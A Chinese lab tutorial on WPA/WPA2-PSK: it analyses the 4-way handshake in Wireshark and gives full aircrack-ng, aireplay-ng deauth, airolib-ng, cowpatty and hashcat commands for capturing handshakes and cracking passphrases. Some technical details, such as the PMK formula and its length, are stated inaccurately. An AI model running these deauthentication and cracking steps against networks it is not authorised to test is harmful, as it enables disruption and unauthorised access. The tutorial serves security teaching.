实验目的
掌握WPA-PSK/WPA2-PSK工作原理。
利用wireshark过滤器分析整个流程,特别是四次握手的过程。
熟悉捕获四次握手中哪些Message之后才能进行PSK破解。
实验环境
Kali操作系统及相关工具
无线网卡
无线AP
实验原理
WPA-PSK连接过程:
Open System Authentication (Request initiate by client)
Open system Authentication (Response by AP)
Association Request (sent by client)
Association Response (send by AP)
4-Way Handshake – EAPoL Key Exchange Message 1
4-Way Handshake – EAPoL Key Exchange Message 2
4-Way Handshake – EAPoL Key Exchange Message 3
4-Way Handshake – EAPoL Key Exchange Message 4
DHCP Discover (send by client to L2 broadcast)
DHCP Offer (send by DHCP server)
DHCP Reqeust (send by client to L2 broadcast)
DHCP ACK (send by DHCP server to client)
实验过程
请自行针对某WPA-PSK的AP进行抓包,并用客户端连接AP,然后用过滤器语法分析整个PSK连接过程。
1,打开无线网卡监听模式。
1 | airmon-ng start wlan0 |
2,用airodump-ng抓包,找到目标AP。
1 | airodump-ng wlan0mon |
3,针对某个AP进行抓包,并保存。
1 | airodump-ng wlan0mon -c 11 --bssid 78:A3:51:15:67:C6 -w handshake |
4,用客户端连接AP。
5,发起多次DEAUTH攻击,抓四次握手包。
1 | aireplay-ng -0 10 -a 78:A3:51:15:67:C6 -c 0E:7F:6D:E0:E0:F5 wlan0mon |
78:A3:51:15:67:C6 是要攻击的Wi-Fi的bssid
0E:7F:6D:E0:E0:F5 是已经连接的设备的bssid
6,用wireshark过滤器分析信标帧Beacons、认证Authentication、连接请求Association Request 、 连接回应Association Response 、四次握手和获取DHCP的过程。
比如:四次握手中每条Message含有随机数的情况以及报文中是否有MIC值。
进一步的,请思考是否只有捕获完整的四次握手才能进行PSK破解?
用wlan.fc.type_subtype==0X0B显示过滤捕获文件中所有的身份认证数据包。AUTH认证类型有两种,0表示开放式,1表示共享式。
WPA/WPA2是开放式认证。
用wlan.fc.type_subtype==0X08进行过滤,只显示Beacons帧。 可以查看ESSID和BSSID和工作的信道。
同时,在信标帧也可查看AP使用的加密方式。
使用WPA加密的AP,在捕获包中即可看到WPA Information Element信息。如果使用 WEP加密,将不会出现WPA Information Element信息。同时可以看到AP具有WPS功能,并且启用了WPS功能(configured)
用wlan.fc.type_subtype==0X00过滤关联请求,可以找出与客户端连接的AP 。
如图,可以看到AP的MAC地址、客户端的MAC地址和AP的ESSID。
输入eapol可以过滤握手包。
注:并不需要解密就能查看DHCP ACK数据包中的相关信息。
实验原理:WPA密码其实叫PSK(pre-shared key),它加上ssid通过一定的算法可以得到PMK(pairwise master key):
$$ PMK=SHA_1(ssid,psk) $$
PMK的长度是定长的,都是64字节。由于计算PMK的过程开销比较大,是我们破解花费时间长的关键,所以采用以空间换时间的原则把PMK事先生成好,这个事先生成好的表就是常说的HASH表,这个工作就是用airlib-ng这个工具来完成。
目前的破解方法是我们获得握手包后,用我们字典中的PSK+ssid生成PMK,然后结合握手包中的(客户端MAC,AP的BSSID,$A_NONCE$,$S_NONCE$)计算PTK,再加上原始的报文数据算出MIC并与AP发送的MIC比较,如果一致,那么该PSK就是密钥。
airolib-ng
airolib-ng是Aircrack-ng套装里的又一个工具,用来存储和处理网络名和密码表。通过计算PMK,用于WPA/WPA2的破解。其语法格式如下:
1 | airolib <database> <operation> [options] |
选项 | 说明 |
---|---|
database | 表示数据库文件,可以是绝对路径。 |
operation | 指定了我们要对数据库进行的操作。 |
–import {essid|passwd} {file} | 导入含有网络名或者秘钥列表的文本文件。文件每行需含一个网络名或者密码,以换行符结束(这样读入时就会被当做“enter”)。 |
–batch | 开始计算所有网络名和密码的组合。此命令需用在aircrack-ng破解之前。当数据库添加了新的SSID或者密码时,也许重新计算。 |
–export cowpatty [essid] [file] | 导出为cowpatty文件。 |
–sql {sql} | 执行所给的SQL语句。 |
airolib-ng –help | 查看帮助文档。 |
1.创建包含ESSID的文档
创建包含ESSID的文档,每行含有一个ESSID。创建名称为gryffinbit(名称自取)的数据库,向数据库插入ESSID。
1 | airolib-ng gryffinbit --import essid /root/ssid.txt |
2.创建包含密码的文档,并向rainbow数据库插入密码。
1 | airolib-ng gryffinbit --import password /root/password.txt |
3.批量生产PMK数据。
1 | airolib-ng gryffinbit --batch |
查看数据的状态
1 | airolib-ng gryffinbit --stats |
可以看到,当前数据库中有11个ESSID和16个密码,并且已成功对其进行了计算。
4.使用aircrack-ng进行破解
1 | aircrack-ng -r gryffinbit -e helloworld handshake-01.cap |
选项 | 说明 |
---|---|
-r | 指定PMK数据库 |
-e | 指定ESSID |
也可以选择使用Cowpatty工具进行破解。Cowpatty是一款Linux下用于破解WPA-PSK加密的工具。其语法格式如下:
1 cowpatty [options]
选项 说明 -d Hash表 -r 含有握手包的cap文件 -s AP的ESSID 在使用Cowpatty之前,需要先提取用于cowpatty跑的hash 表。
1 airolib-ng gryffinbit --export cowpatty helloworld R_table然后就可以使用Cowpatty工具。
1 cowpatty -s kong -d R_table -r .cap
使用airolib-ng生成PMK数据后,可以对该数据进行管理,比如导入第三方数据、校验数据和清理数据。
导入ssidlist.txt 文件中的ESSID到数据库。
1 airolib-ng gryffinbit --import password /root/password.txt导入pword.txt 文件中的密码到数据库。
1 airolib-ng gryffinbit --import essid /root/ssidlist.txt使用–verify选项校验数据,以验证数据库的状态正常。也可以使用–clean选项进行数据清理。
1 airolib-ng gryffinbit --verify可以使用下面的命令行插入单个ESSID。插入单个密码也可类似操作。
1 echo Love | airolib-ng gryffinbit --import essid -
hashcat工具
hashcat一款强大的开源密码恢复工具。该工具可以利用CPU或GPU资源,破解多种hash类型的密码。当捕获握手包以后,可以使用该工具快速的破解出WPA密码。使用hashcat工具破解WPA的语法格式如下:
1 | hashcat -m 2500 [pcap file ] [words] --force |
选项 | 说明 |
---|---|
-m | 指定使用的hash类型,与WPA相关的hash如下图。 |
Words | 指定要使用的字典。 |
–force | 忽略警告信息。 |
hashcat –help | 查看帮助文档。 |
1.使用aircrack-ng将捕获的握手包文件转换为hccapx格式。
1 | aircrack-ng test-01.cap -j hashcattest |
2.使用hashcat工具进行破解。
1 | hashcat -m 2500 hashcattest.hccapx /root/password.txt --force |